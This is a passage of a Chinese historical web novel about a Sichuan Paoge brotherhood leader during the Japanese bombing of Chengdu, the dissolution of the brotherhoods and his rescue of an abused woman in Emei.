沐明真不太看好总堂,认为必定会扯皮,那周立行就让昆明分堂的领队去扯皮。
结果不处预料,确实扯起皮来了。
“……凭什么昆明分堂要三十个名额?”
“……等等,你说进口货车多少钱一辆?”
“日玛这是金子做的车啊?那么贵!平时还得替运输总处运货,我们投的这些钱挣得回来不?”
“总堂要出二十辆的钱?这投资会不会太大了,若是遇到点灾祸,翻车坠毁,车货两失,那可就麻烦了……”
“昆明分堂那边,这两年给总堂的分成越来越少……”
“定额?这个怎么定?多了你们说给不起,少了,那不是糊弄总堂吗!舵把子不在,你们怕被当成叛堂才不敢自立门户,我们总堂哪里管得了你们哦……”
姜九爷阴阳怪气地跟上说话。
那商队的领队是沐明实,听名字以为是男子,其实此人乃是沐明真的妹妹,从小家里便当成男儿。
她向来爱穿男装,此时身穿一身珠光白的西装,短发梳成背头,看起来颇为爽利。
她丝毫不慌,舌战群儒,每一个人的疑问她都耐心地做解释,直到听到了姜九爷这番话,简直是正中下怀,沐明实立即回答道:
“咱们昆明分堂,是方舵把子亲自选人建的,我们服的是有本事的人。”
“总堂若是一群碌碌无为之人,只晓得卖女人卖毒品,放高利贷剥削压榨民众,那我们自然是不会听无能之辈的号令。”
陈三爷听得脸色一黑,姜九爷也是拍桌而起。
“放肆!你个分堂商队的队长,竟敢妄言……”
沐明实本来也将此次运输线的事情解释的差不多了,现在完全看热闹不嫌事大,张口就是爆炸性发言。
“我不仅是商队的队长,我还是昆明分堂沐明真的胞妹,是昆明市商会的成员。我的商队,可不仅仅是只给你们忠义堂的昆明分堂做事情,姜九爷,你可别小看人。”
“如今这滇缅公路运输的机会,是八爷挣来的,我们昆明分堂,日后只听八爷的。”
“我沐明真的商队,也只听八爷的。”
众人咻地将视线集中在周立行身上。
沐明真这话说的太大胆了,虽未明说,胜似明说!
但凡不是个蠢的,都能听说来这沐求真对周立行有意思了!
周立行稳稳地坐在自己的位置上,端着茶喝,等场面突然安静,他才抬起眼皮看了那领队一眼。
沐明实勾着嘴角,把火力集中回了周立行身上。
这一路,周立行的精力都用在巡堂上,并未多关注沐明实。
他在感情上,却真就是个蠢的,他的心拴在王喜雀身上,对身边的女子从未有过情爱之心。
沐明实跟着他走了一路,他只把对方当合作对象,此时,见沐明实把话题引转过来,周立行放下茶碗,口气不咸不淡。
“我去谈下来的合作,你们昆明分堂想要名正言顺进滇缅线挣钱,不听我的,那还能听谁的?”
邢五爷露出一副牙酸的表情,唐浩子瞪大眼,姜九爷更是满脸错愕。
一瞬间,堂会中剑拔弩张的气氛荡然无存,剩下都是无言的尴尬。
就连满是心眼子的陈三爷和毫无心眼子的车十爷都不约而同露出震惊的表情。
“知晓路线,懂开货车,能和西南运输总处搭上关系的,除了我,堂口里还有谁?”
周立行不再忌讳夸赞自己,他坦然地迎接众人的审示,学着林人梅那番姿态,做怡然自得状。
唐浩子见状,一边在心里感慨周立行和方结义在女人问题上一点都不像,一边赞同地站起来,拍着手,“八爷!这条线的事情,确实非你莫属!”
陈三爷心中一堵,都不知道该怎么样摆表情了。
周立行也站了起来,他冲陈三爷拱拳,走到中间,示意沐明实可以下去了。
沐明实意味深长地看了周立行一眼,倒是十分有眼色地退了下去。
“诸位皆知,忠义堂,是方舵把子的堂口。”
“诸位皆晓,我周行善,也只听方结义的。”
“于公于私,我周立行都是最希望堂口好的。我断了大家搞烟土妓院的路,自然是要想法子给大家找一条更忠义、更稳妥的道。”
“我给大家找的活路,自然是当仁不让,当这个领头的人。滇缅运输线的时候,我周立行找的,我周立行担,我周立行说了算。”
周立行这番话,虽是张扬,但也是事实。
陈三爷沉默地看着这一切,心知这回的周立行,不再是之前那个因修路远离堂口事务的愣头青了。
周立行因修路离开,也因修路得到机缘;他因打生死场引发冲突,也因生死场将忠义堂的名声拔高;他因内部龃龉离开堂口,却因此在会理成长,强势归来。
长江后浪推前浪,这后浪,来势汹汹啊。
最终,在邢五爷、唐六爷和车十爷的支持下,堂口决定买车、招人训练,去做滇缅运输线的生意。
一切仿佛走上正轨,仿佛重振旗鼓便可以再向辉煌。
然而,日寇的进攻,再次打乱了一切。
*
六月的气温已经开始炎热,周立行重金向四川公路局租借了一辆
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货车,到城外的地方训练堂口自己的司机。
一辆车,至少要配三名备用司机。这年头的司机很不好找,就连西南运输处,也得是花费大力气去搞大规模的培训,并且还需要从南洋招聘司机。
司机需要会驾驶,会修理,识文断字懂机械原理,需要手脚协调、反应敏捷、有文化的人。
这一番司机训练,堂口里已经很难再找出合适的人选。
幸好忠义堂禁烟的名声打出去,一些流亡的爱国学生们不再嫌弃忠义堂是江湖草莽,有好些被战争打断求学路的人,愿意来参加。
当然,这些学生们,也是当初追着冯争鸣和周立行要独家采访的女学生,现在的女记者陈若英为周立行发报纸征集来的。
这一群人约莫有五十人,堂口要支付高昂的学习费用,还要带他们训练。
周立行不屑于天天看着陈三爷那张长吁短叹的脸,他把阿涅、石娃子和谷娃子都带出来一起学车,亲自上手教导,并考虑迅速带这些人去开一开川滇线。
滇缅线多的是九十九道拐,山路凶险,不是成都平原这种地方可以比的。
天色渐晚,夕阳如血,成都城发出了空袭警报。
此时下午六点半,20秒长音的汽笛声刺破了如血的晚霞,黑暗从天空的另一边侵染而来,两次短音后,又是20秒的长音,如此连续六次。
同时,一场两短的警钟在成都郊区的各个县城敲响。
这次的空袭警报有些不同寻常,周立行心中莫名涌上强烈的不安,他说不清那是什么感觉,直觉促使着往回走。
“我要去城里!”
周立行骑上最近成都流行的自行车,往成都城的方向冲去。
石娃子谷娃子还没反应过来,阿涅已经追了上去,翻身做到了自行车的后座上。
石娃子和谷娃子面面相觑,追已然来不及,只能留下来,招呼学员们收拾东西,停好车辆,留下守备人员,才开始往回走。
约莫半小时后,周立行和阿涅已经到了成都城的大门外,此时的刺耳的汽笛已经拉出了30秒的长音,警钟则是持续2分钟地捶打,尖锐地、惶恐地告知大家,敌机已经飞到了成都上空。
此时已经七点半,天色已经愈发的暗淡,在这个闷热的月份,周立行背脊却窜上一股凌冽的寒意,他抬头看向天空,一眼扫到27架飞机,成群结队地驶过,那轰鸣声宛如恶鬼的狂笑,让人汗毛倒竖。
平时按理应该已经关闭的城门此刻开着,许多人在往外涌出,叫喊声、叱骂声混作一团。周立行却是逆流而上,要往城中去。
阿涅不知道周立行为什么那么坚定地要往里面冲,他拽着周立行的衣角,在一片吵嚷声中喊道,“哥,都在说城里危险……”
周立行骑着自行车在人群中奋力前进,同样大声地吼着回答,“方大哥的家眷们还在成都!还有……还有喜雀姐!你下去,出城去!”
自从上次和周立行分开后被抢被卖,阿涅心里也有了阴影,他大吼,“不!我要跟着你!!!”
周立行不再说话,带着阿涅往城里挤去。
成都上空的空战已经开始,然而我方的战机不够,技巧和飞机性能差距都大,那膏药旗的飞机仅留少部分和中国飞机周旋,多数飞机已经飞临成都主城区上空。
炮弹如雨,残酷地从空中落下,落进了平民居住区,落进了房屋林立、人口稠密的提督东街、春熙西路、青石桥街灯商业地带。
地狱降临人间,战争的阴影吞噬一切。
爆炸之后的烈焰和强光不断刺亮四周,哀嚎声伴着残肢血肉四散而去……
炸弹中有一部分是特制的□□,熊熊大火点燃了房屋,从春熙路到盐市口再到孟家巷,都陷入了火海。
自行车无法在拥挤逃命的人群中骑行,周立行只能扔掉自行车,开始疯狂地奔跑。
他感觉自己的肺已经有些充血,可是他不敢停下来,甚至他也不知道自己在跑向哪里。
整个成都城都陷入了混乱,上面还在空战,不断有飞机坠落,下面警察局消防队顶着战火紧急出动,各民间的义勇消防队和没有被炸伤炸死的民众开始了救火。
儿童在哭嚎,有的人被那些特质炸弹爆炸时迸射出来的火星烧到,浑身起火满地打滚,有的人护着妻儿从房屋里逃窜,有人在合力拯救垮塌建筑里的邻居。
血,火,死亡,不屈的反抗,互助的拯救,一切正在发生的,让周立行浑身都在颤栗……
脑海中浮现出太多人,太多事,他突然意识到这样的轰炸不会只有一次,往后只会越来越多,生死茫茫,稍纵即逝……
他一直跑着,一直跑着,跑到喉咙腥甜,终于跑到了王喜雀曾经的住处。
他终于再也支撑不住,跪到了地上。
66.成都
阿涅跑了个半死,好几次都差点没追上,硬是靠着模糊的方向感和记忆,往王喜雀家方向前进,就这样仍旧是迟了十几分钟才追上周立行。
他到的时候,只看到燃烧着的半条街,还有沉默着帮着街坊四邻一起灭火的周立行。
曾经王喜雀住过的院子,刚好被一枚炸弹击中,所有的房屋都炸得粉碎。
阿涅怔愣了好久,指着那断壁残垣外的一只碎手,“哥……”
周立行帮着抱过去一个受伤呻吟的男人,回头看到阿涅,他向阿涅摇摇头,眼中的泪却滑了下来。
“不是喜雀姐,是孙婆子的手……”
……
因轰炸引发的市区大火,直到第二天早晨7点半才被全部扑灭,无数人失去了自己的房屋店铺,失去了财产,失去了亲人,无数人受伤待医。
曾经繁华的大街成了废墟瓦砾,烧焦的尸体遍布其中,周立行带着阿涅去找黑老鸹的院子,也只看到了一堆废瓦。
这里是他的家,是黑老鸹和方结义给他的落脚处,是他心里最温暖最可靠的寄托。
他记得刘愿平在这里哈哈大笑,记得方结义来蹭黑老鸹的酒喝,记得方家姐妹的身影,记得黑老鸹临终前紧握的双手,以及他亲手雕刻的牌位。
然而,现在,这里什么都没有了……
周立行沉默地站在院子前,胸口酸涨难捱,他努力克制着情绪,旁边的阿涅却忍不住嚎啕大哭起来。
“狗日的日本人,遭千刀的烂东西……”
阿涅边哭边骂,他想到了自己的家乡,是不是有一天也会面临这样的轰炸,被火海烧成地狱。
沉默的周立行站在那里,甚至没有注意到,身边多出来了一个人。
过了好久,他才往旁边看了一眼,竟是冯争鸣一直陪他和阿涅一起站着。
冯争鸣身上的白衬衣被血迹和烟灰染成了乌黑色,脸上也脏,好在手脚齐全。
见周立行转头看他,冯争鸣才开口说话,眼神中有恨,也有悔,“冯显贵无故责我,还差点派人去害陈记者。我回头把他的儿子们都给锁进屋子……没想到昨晚日本轰炸,他们没出的来,都被烧死了……”
“谁?”周立行心中咯噔一声。
“冯显贵的儿子们,除了一个两岁还在喝奶的跟着姨太太走了……”冯争鸣埋下了头,声音有了些微的颤抖,“我……可……”
周立行没有回答,这一夜,死去的人太多。
战争,不是个人勇武可以改变局面的,个人的恩怨生死,在战争面前,宛若微尘。
冯争鸣站了一会儿,什么也没说,自己走了。
周立行带着阿涅回忠义茶馆,果不其然,茶馆也被烧毁了。
三爷人老命却大,甚至没有受什么伤,他正指挥着,一群灰头土脸的袍哥兄弟们在清点财物,见周立行回来,什么也没说,只发出了一声长长的叹息。
这一番轰炸,毁掉了诸多人几代心血。
繁华的街道成为废墟,处处都是哀哭之声。
忠义堂的许多铺子被烧毁,人员也因此失联许多。
周立行托人出城送信给谷娃子石娃子,然后亲自跑了一趟方结义的婆娘们那边,幸运的是,那些女人和孩子们都只受了些轻伤。
邢五爷新认养回来的儿子,却又在这次轰炸中,被砖瓦砸到了脑袋,没救回来。
车十爷运气不好,被爆炸碎片击中,当场就去了,家人也被房屋给埋了。
等堂口这边组织起人去挖的时候,已经全部窒息而亡。
战争的浪潮轻轻一拍,无数人的性命和豪情壮志如同泡沫,转瞬即逝。
屋漏偏逢连夜雨,在陈三爷和邢五爷两人都蔫头耷脑,归拢剩得不多的人手,考虑如何重建堂口的时候,一则噩耗传来。
方结义所部,历经多次战役,在今年的夏季反攻中,全员阵亡。
荣哀状送至忠义堂的时候,断壁残垣之下,已经没有太多故人在。
昔日关圣像皮红挂彩,几千袍哥兄弟共饮出征酒,群众夹道欢送的场景犹在眼前。
此刻,却是树倒猢狲散,只剩几十号堂口老弱穿着丧服,站在废墟前,涕泪横流地接回方结义及其他出川战士的些许遗物。
没有尸骨,那些袍哥弟兄们的血肉,已经化作了泥土,永远留在了他们保卫的土地中。
“谁是周立行?”
送荣哀状和遗物的军人向这群老幼不一的人询问。
周立行站了出来,短短十来天,憔悴已经爬上了他坚硬的鼻梁,哀悲挂着他的眉头和嘴角,他的眼神蒙上阴翳,暗沉沉的不再闪耀。
那军人单独递过一个资料袋。
“方团长写了四封信,都是给你的,但未曾寄出。”
遗物交接仪式简短肃穆,因阵亡将士太多,他们无法一一送到家,这种有堂口组织出去的,都是集体交给堂口。眼下,他们还要去其他堂口或家族。
方结义的葬礼,无法像黑老鸹那般风光大办了。
整个成都城都在办葬礼,陈三爷和邢五爷做到了承诺,他们尽自己最大的能力,为堂口出去战死的弟兄们做了集体道场。
毕竟有些弟兄们的家属已经全死了,死在疾病中,死在轰炸里,他们会在黄泉下团聚。
道士们唱着送魂调,在烧着纸钱的火光前,周立行再次泪流满面。
枪林弹雨,九死一生……然而,方结义再也不会生还了。
然而噩耗并未结束,另一道让各受损堂口自行解散的政令,被送至各大堂口。
*
早在1935年,就有政令要求全省各县要将辖地的袍哥解散,然而袍哥堂口遍布各地,深深地与民众结合,众人当政令是放屁,这个政令成为一纸笑谈。
1936年,国民政府委派专员来到成都,企图改造袍哥势力为自身所用,然而袍哥组织本就是川军的后备兵源,本地军阀自然不会把这块势力交给国民政府,多方阻挠,袍哥堂口改造无疾而终。
1938年刘湘抗战病逝之后,蒋中正委任张群为四川主席,却遭到四川地方势力的阻止,川西袍哥堂口们开了大会,公然扬言要组织民众百万来对抗选举。蒋中正见袍哥势力之强大,加之云南王龙云、四川军阀刘文辉等人极力反对,最后退一步,任用了投靠国民政府的、外出抗战过的、四川军阀内部人员王瓒绪。
王瓒绪认为四川的发展有四条拦路虎,“贪污、土匪、烟毒、哥老”,哥老会便是袍哥组织的统称。
他拥护国民政府对袍哥组织的解散令,在成都经受这番轰炸后,立即借机打势,趁着成都市各堂口受损,再次要求各堂口解散。
曾经宽大威严的堂口大厅,现场成了一片废墟,房梁被烧的焦黑,片瓦不存。
然而,堂会还是在这里开着,哪怕来的人已经很少的。
“政府勒令我们解散,大家意下如何?”
陈三爷这段时间也看透了,人生苦短,说不定下一刻就死了,他觉得自己也应该解开束缚,为自己而活。
“八爷,方大爷走了,咱们总堂毁了……外面的分堂,大多听你的话,你说说,咱们怎么办吧?”
虽然并不想退位让贤,但陈三爷觉得自己似乎没得选。
若是他不代这个堂内事务了,自然他也不用在劳心费神不讨好。
姜九却是十分的不服气,“方舵把子为国捐躯,现在堂口还没有定舵把子,三爷,你说就行,八爷排位可是在后面的,他说了不算数。”
周立行抬眼看了陈三爷一眼,眼神又落回满地的废墟上。
他怎么看不出陈三爷的心思呢,陈三爷若当不了舵把子,肯定是想散伙的。
邢五爷不知何时走了过来,在周立行背上轻轻拍了一把,又把目光投向曾经生死与共的老三兄弟。
“三爷,你想散吗?”
邢五爷话语难得的温和。
陈三爷垂着头,不接招,“不是我想不想散,是王主席要让所有堂口都散呢。”
邢五爷冷哼一声,“卵子主席,咱们袍哥堂口,什么时候是听他的?他算个屁!投了老蒋的狗!”
姜九连忙左右望,“嗨呀,小声些,咱们现在没门没墙的,小心被特务们听见!”
周立行这段时间怀里揣着方结义的四封信,他想了想,最终还是没有把信拿出来。
但他也不想听大家扯皮,该他说的,他也要说出来。
“瘦死的骆驼比马大,咱们只是这里被炸了,又不是分堂都死绝了。”
周立行直接点明局面,“堂口散不散,难道不应该是我们现在背后的靠山,二十四军说了算吗?”
唐浩子眼睛一亮,猛点头。
“三爷,这些年,你为了堂口也是尽心尽力,功劳苦劳都有。你若是想退堂,我代方大哥同意。你若是想留下来,只要大伙同意,我可以把分堂主们召回来,推选你当舵把子。”
周立行再一次,往后退了一步。
“昆明分堂那边的滇缅线事务,不亲自去守,我不放心。”
“若是你们都想解散堂口,都可以走。我会把忠义堂的牌子,背去挂到康定,或者云南。”
周立行这么一说,陈三爷彻底不吭声了。
二十四军的军长刘文辉,当着西康王,那可是连共产党都收留的,又一直对忠义堂很是照顾,若真的周立行带着牌子去西康,那妥妥的能发展好。
而云南那边,上回的沐明实表达的够清楚了,她肯定是愿意跟周立行联姻的,昆明分堂早就巴不得独立了,能取代总堂,那更是求之不得。
陈三爷发现,自己若是拿乔,那真的只有退堂走人一途。
可若是真的分堂主们都回来,他陈三爷能不能上舵把子的位置,也难说。
就在大家拿不定主意之际,在外放哨的巡风们吹起了口哨。
警戒,速离。
这样的信号很少发出,邢五爷等人虽然想不通,但还是当即撤离。
姜九爷却觉得他就住在这条街,有什么大不了的,他可以先去看看什么情况。
然而周立行唐浩子等人根本不管他的,大家都迅速离开了。
等几个警察和几名黑衣人荷枪实弹前来的时候,残垣断壁上只剩下姜九爷和几个老弱病残,其中一人上前给了姜九爷一个巴掌。
“省政府令,所有袍哥堂口都得解散!你们这些皮管街聚在这里咋子!”
打人的警察狐假虎威,做凶神恶煞状,手指头却一直往外戳,暗搓搓地发出提示。
姜九爷咬着牙,见打人的警察是自己平时一起喝酒玩的,才忍住自己摸枪的冲动,回嘴道,“什么聚在这里,我们吃饱了出来逛街,走到这里摆几句龙门阵!”
其余老弱因平时的上下关系,都站在姜九爷身后,不说话,眼神却一致的戒备。
这下到好,是个人都能
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看出来姜九爷是个领头的了。
那打人警察皱着脸,无语至极,“说锤子说,还不快滚!”
龟儿子的,看不出来眼水!日麻的要是遭了别说老子不讲义气!
姜九爷看不懂,但心觉不对,正要退走,那黑衣人里为首的一个做了个手势。
几个黑衣人一拥而上,把姜九爷抓住上了手铐。
“可惜,其他人溜了。”那为首的人颇为惋惜,难得能有个借口来抓人。
不过,能抓一个回去询问一番,也能交差。
等这群人离开后,周立行却是从街角隐蔽处转了出来,跟上了那群人。
*
周立行跟上那群黑衣人,发现其中有反侦查的高手。
他们没走出去多远,就开始分割队伍,各走各的道。
再跟一小段路,周立行突发感觉自己似乎是在被引诱深入,其余人员在绕道包抄。
他装作不知,利用自己对地形的熟悉,准备离开。
哪知道那几个高手却如影随形,一直跟着甩不掉。
周立行心知遇到了硬茬,干脆脖子一横,往冯争鸣所在的军校那边冲。
果然,那些人在看到目的地是军校的之后,暂时没有再跟了。
冯争鸣早已毕业,受上峰赏识,他已留校任教。
接到门卫的通传,冯争鸣赶紧出来见周立行。
“咋子?”
有什么事吗?
“粘粘草,怕大火。”
被人跟了,甩不掉,怕是什么惹不起的势力,不敢硬碰。
这两人默契很足,冯争鸣只问了一句,两人便一起相约去了城里最大的川剧院,鱼龙混杂人来人往那种。
最后,只有冯争鸣一个人出来,回了军校。
没过两日,冯争鸣派人给周立行送了信,信中字不多,却十分凶险。
【据线报,你自称红汉。姜九被抓,言你有投共之心。中统疑你是□□,上面正严查哥老会中通共者,国共合作或有变故。弟,速离成都,或滇或康,找好靠山,暂勿返回。兄无碍,勿念。】
周立行没想到,在会理埋下的隐患,终究还是爆发了。
不过怎么看冯争鸣这意思,搞得就跟也怀疑他周立行是共产党一样啊。
他不能辜负冯争鸣透出的消息,当机立断,马上离开。
但他不打算往西康或者云南走,中统特务不是蠢人,他们当然也会往那些地方去逮人,他还是不要给分堂们添堵。
最终,周立行只去见了一趟邢五爷,他把从废墟里刨出黑老鸹当年攒下的银元,全交给了邢五爷。
经历这次轰炸,方结义遗孀们的意见不再统一,大部分想要带着孩子回乡下老家,躲避战火。
周立行委托邢五爷,交一半去钱给她们,堂口给的抚恤金虽然多,那是堂口的。这算是黑老鸹和周立行给的。
剩下的一半,周立行孝敬邢五爷,这一路走来,周立行记邢五爷的恩。
邢五爷不知道中统特务的事情,只以为周立行怕堂口老辈子们难做,又要暂时离开一段时间,只得问:
“你是去康定?还是去昆明?是要找新的地方训练车队吗?”
周立行不敢回答,只能含糊,“最近的政令让我心里烦,想外出散心,没个确定地方。五爷,我让唐浩子带训练好的车队去昆明,你替我们守堂口,好吗?”
邢五爷长叹一声气,“去吧,我会劝三爷的。世道乱,你别走远了,早点回来。”
周立行拜别邢五爷之后,带着愿意跟他走的石娃子、谷娃子以及阿涅,直往乐山去。
他在帮着街坊四邻救人救火的时候,打探了王喜雀的下落。
街坊四邻们说,木茶商带着王喜雀回来过,但是前几日恰好有什么事情,又带着王喜雀出去了,只留了孙婆子一人在这里看家,哪知道孙婆子就永远留在这里了。
没有人知道木茶商带着王喜雀去了哪里,周立行也不知道自己该不该继续去追寻……但他现在得先把石娃子交给莲妹儿。
方结义的信,他反反复复地读了十几遍。
他的大哥,在战场上几经生死之后,只希望他能好好活着。
*
从成都到乐山的路线,周立行走了几次,已经很熟悉,他心情沉郁地到了乐山,去五通桥那边看了下王喜雀投资建设的厂。
周立行上门拜会刘五嬢的女儿刘愿安,却被刘愿安告知了一个让他振奋起来的消息。
刘愿安心想这也真是巧了,她也是昨天才收到消息。
“木茶商带着喜雀姐去了峨眉,说是要在那常住一段时间!”
周立行他飞快地拜别刘愿安,去找木铜铃说了孙婆子的事情,并把做好的排位交给木铜铃。
木铜铃嚎啕大哭,跪下给周立行磕头,周立行只能安慰他人生有命,他好好活着,孙婆子在九泉之下才能安心。
石娃子被留在了乐山,同莲妹儿喜结连理。谷娃子便也跟着留下来,准备在这里待一段时间。
刘愿安写了一封信,将建厂和运行的情况都写了进去,让周立行带回去给刘五嬢,择机也让王喜雀知晓这边的进展。
周立行心中的阴霾悲伤总算是被冲散了许多,他拿着信,带着阿涅,马不停蹄地往峨眉赶去。
一腔热血的周立行前往青龙场,直奔千秋茶馆,却扑了个空。他又调转方向,直接往刘五嬢的家中赶去。
67.峨眉
刘五嬢正在家中含饴弄孙,她已经不再在千秋茶馆的当掌柜,茶馆里有她的干股,堂口换了新人去经营,每个季度邀请她去盘一盘账务,给各位退下来的老嬢嬢老爷子们分红。
见周立行和阿涅风尘仆仆地赶到,刘五嬢十分惊喜,她赶紧让人把刘愿平也推出来,同时招呼婆子们去杀鸡、推磨做豆花,要好好招待周立行兄弟俩。
刘愿平许久不见周立行,非常开心,连忙让周立行坐他旁边聊天,不停地追问近况。
对刘愿平,周立行自然是知无不言,他从自己修完滇缅公路回去开始讲,刘五嬢和刘愿平都听得入迷。
拉回忠义堂的方向,打生死场,去会理,到昆明,再回成都……这般讲起来,也是惊心动魄。
听周立行说到了林人梅,刘五嬢咿了一声。
“林人梅?这名字熟悉……他夫人叫什么名字?”
“温惠清,他儿子叫林维燊,还有两个女儿。”周立行有些诧异,“你认识?”
刘五嬢想了想,一拍手,“是她!温夫人带着孩子搬到峨眉这边来了。”
重庆虽是陪都,却因经常被轰炸,蒋中正有很大一部分时间,是住在峨眉山的公馆里。
峨嵋这边山高林密,山间沟壑纵横,终日云遮雾绕,不利于敌军飞机侦察。
有蒋中正带头,自然就有许多军官们在峨嵋县来置产。
被评为民国模范县的峨眉县,自然迎来了许许多多的军官的家眷们。
林人梅的夫人温惠清本也是四川成都金堂县人。林人梅去西康省之前,特地带她和孩子们来此处购房买地安家。
刘五嬢之所以记得清楚,是因为温惠清的书籍实在太多了。
蜀犬吠日,难得出太阳。只要天晴,她便要在外面晒书,那可是一条街都不够她摆放。
这年头的人,对读书人是十分敬重的。
温惠清这一举,为林家赢得一个书香门第的好传闻。
大家一传十十传百,有家贫学子厚着脸皮上门求书看,温惠清也是应允的。
“这夫妻俩,人都挺好的。”刘五嬢赞叹道。
周立行心想人家给我出主意,让王喜雀当寡妇,我才方便去求娶呢!
不过他转念一想,刘五嬢年轻的时候参加保路运动,未必手里不染血。
嗯……这个人好和人狠似乎也不冲突。
几人就禁烟土的事情聊了一会儿天,刘五嬢对紫苏母女的失散十分惋惜。
刘愿平心念念他为之付出的滇缅公路。
“我看报纸说,很多同盟国给的武器物资都是从咱们修筑的滇缅公路运进来的,咱们也会有很多飞机的!”
“等赢得了胜利,我们必将在废土之上,建设一个繁荣富强的国家!”
刘愿平十分笃定地说道。
周立行沉默了。
他的方大哥,那么厉害的人,带着兄弟们走出四川,现在已经全部战死了。
敌人的飞机如入无人之境般飞来,肆意轰炸,而我方根本组织不起有效的反击。
“我们,一定会赢的?对吧?”周立行想着黑老鸹,想着方结义,想着死去那么多的同胞,心中钝痛。
“能的!能的!”刘愿平激动地重复道,“我给你看这个,你看了,你就知道,一定能的!你所有的迷茫和疑问,都将在这里找到答案。”
刘愿平从口袋里掏出一本自己装订的小册子,上面是手抄的字体。
周立行接过一看,好家伙,《论持久战》。
“这我早看过,都会背了。”
大家闲聊了一会儿后,周立行问出了最关心的问题:
“五嬢,愿安说,喜雀姐来了峨眉?”
说到这个,原本笑眯眯的刘五嬢,神色变得有些凝重。
“说到这个,立行,她现在处境艰难,或许你可以帮帮她。”
刘五嬢这一句话,搞得周立行心中七上八下,恨不得马上就能去见一面王喜雀,问问是怎么一回事。
可刘五嬢也不详说,只让他先吃饭,然后好好休息几日。
她会负责在合适的时间,合适的地点,约王喜雀单独见面,那时候让王喜雀自己说。
阿涅全程听大人们聊天,他本就不爱说话,只管在饭菜上桌的时候大吃特吃。
周立行则是被刘五嬢钓得饭都吃不香了,全程吃菜不沾辣椒酱,只顾着走神,胡乱往嘴里塞着。
而刘五嬢看周立行这样,心中也是颇为担忧,担忧周立行容易意气用事惹出乱子。毕竟周立行虽是没有明说,可他怎么会无缘无故的又从堂口出来?
多半,也是惹上了事,不能留在成都。
可是王喜雀现在的情况,刘五嬢也无法替王喜雀彻底解决,她得想一想。
*
然而,没过两天,刘五嬢刚出门,突然急匆匆地折返回来。
“快!跟我去!”
刘五嬢来不及解释,拉起周立行就走。
她风驰电掣般快步而行,周立行跟上,阿涅不明所以,跟着就跑。
刘五嬢出门没有骑马儿骑骡子,而是骑上了刘愿平从成都购置的自行车。
周立行愣了愣,赶紧骑上另外一辆,阿涅再次坐到了后座,兄弟二人跟了上去。
青龙场离峨眉县城十分近,道路也较为平整,自行车飞驰在路上,速度比起骡子马儿还快。
刘五嬢满头银丝,自行车却骑得野,上坡下坎连人带车蹦的老高,周立行在后面追得心惊胆战,生怕刘五嬢一不小心摔出个好歹。
“五嬢,啥子事啊!有这么着急吗?”周立行高声喊道,“要不你骑慢点!”
“慢锤子慢!”刘五嬢怒吼,“喜雀那边出事了!”
周立行一愣,嗖地一下冲到了前面!
这下换成刘五嬢喊,“你知道路吗你跑那么快造死啊!等等我!”
三人急匆匆地赶到峨嵋县城,刘五嬢在前面带路,到了一处宾馆。
宾馆的经理应是识得她,不做痕迹地使了个眼色,然后问也不问拦也不拦,任由刘五嬢带着一大一小两个男的往楼上去。
刘五嬢来到一处门外,那里坐着两个穿藏蓝短褂的男人,一眼看上去便是在守门。
其中一个见了刘五嬢立即站起来,客气地喊道:“五姑婆来了!那木老板出门了,你进去吧!”
另一个没有吭声,也跟着站起来点头行礼。
刘五嬢已经退位让贤,但在堂口里余威仍在,受过她恩惠的人多,小一辈的年轻人也尊敬她这个老辈子,在峨嵋她无论办什么事情,都比较方便。
这两个人本是木茶商跟当地袍哥堂□□了钱,专门请来看管王喜雀的,却正好方便了刘五嬢私下来和王喜雀见面。
一进门,周立行便嗅到人血味,他快速地大量四周,这是一个套房,进门之后是客厅,左手处有两个房间,此刻开着一扇门,关着一扇门。
关着的那扇门里,传来一阵压抑的咳嗽声。
周立行跑过去,打开门,一眼看过去,愣住了。
王喜雀满脸被巴掌扇出来的红肿,嘴角淤青,脖子上有绳索勒出的青紫肿胀,右腿以一个诡异的姿势曲折在床上,似乎是断了腿。
她压抑地咳嗽着,身边却连一杯水都没有,声音已经沙哑。
周立行的眼睛瞬间红了,手发起了抖。
“天姥爷,前两天都还好好的,怎么突然这样了?”刘五嬢惊呼。
“谁打的?”周立行的声音沙哑,他浑身的肌肉绷紧到发痛。
王喜雀没想到会在这里见到周立行。
她甚至以为,这辈子都不会再见到他了。
她的眼泪似乎是哭干了,此时情绪一激动,酸涩冲上鼻尖眼眶,一时间呼吸不能,眼睛也睁不开,整个人抽搐起来。
周立行吓得冲上去把床上的王喜雀抱在怀里,刘五嬢则是赶紧去客厅里找水,阿涅则是直接上手掐王喜雀的人中,结果被周立行拦下。
“姐!姐!别紧张,是我,我是弟娃儿,我来帮你了……姐,你好好的,你别这样……”
仿佛有一把尖锐的刀在搅弄周立行的心脏,仿佛有粗粝的砂纸在刮擦周立行的骨节,他浑身上下都在痛,他恨自己无法保护心爱的人。
“我要杀了他……”周立行红着眼喃喃自语,“林大哥说的对,我应该杀了他……”
刘五嬢端着水进来,瞪了一眼走火入魔般的周立行,一脚踹向他,“滚开点,我来!”
周立行任由刘五嬢踢打,一动不动,那眼神姿态,宛如护食的狼。
刘五嬢无奈,只好把装茶水的杯子给周立行。
被喂了一些水,再拍了拍背上的穴位,王喜雀很快缓了过来,刘五嬢让周立行给她垫高靠背,让她半躺半坐着说话。
“喜雀,这到底是怎么了?”刘五嬢握着王喜雀的手,担心得很。<
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王喜雀满脸哀戚,“这个狼心狗肺的东西,要让我去陪客……”
咔吧!
周立行把杯子捏碎了,瓷片扎入他的手掌,血流了出来。
刘五嬢咬了咬后槽牙,没管周立行。
阿涅很有眼色地沉默着拉过周立行的手,把瓷片取出来扔掉。
听王喜雀讲,是谈生意的时候遇到有些个什么官员好色,木茶商向来是喜欢拿小老婆去贿赂别人的,此时身边只有王喜雀,便又打起了这个主意。
王喜雀自是不从,这么多年来她未曾狠下心逃离,便是因为木茶商看重的是她经商的能力,从未让她去陪客。
然而现在战乱四起,成都的大轰炸让木茶商受损严重,加上多年来王喜雀都没有生育,他自觉握不住这个敢自己到处跑的女人,加上年纪也大了,便不再和以前那般由着王喜雀。
二人因此闹了起来,木茶商便下了狠手,打断了王喜雀的腿,甚至差点把她掐死。
幸好他在本地请了护卫里有好些人认识刘五嬢,大伙儿住在隔壁房间,听着动静赶紧过来劝说,这才没让事态扩大。
早上,这边木茶商刚出门,他们便托人向刘五嬢传了消息,刘五嬢才带着周立行和阿涅急匆匆的赶来。
“昨晚上的事情,他喝了些酒,本就情绪激动……是我不够冷静,我应该先假装答应……”
王喜雀自责,小不忍乱大谋,现在她这样,便是想逃也逃不了。
“你没有任何错。”
周立行打断王喜雀的话,他目光如刀,带着股杀气,语气如箭,锐利坚定。
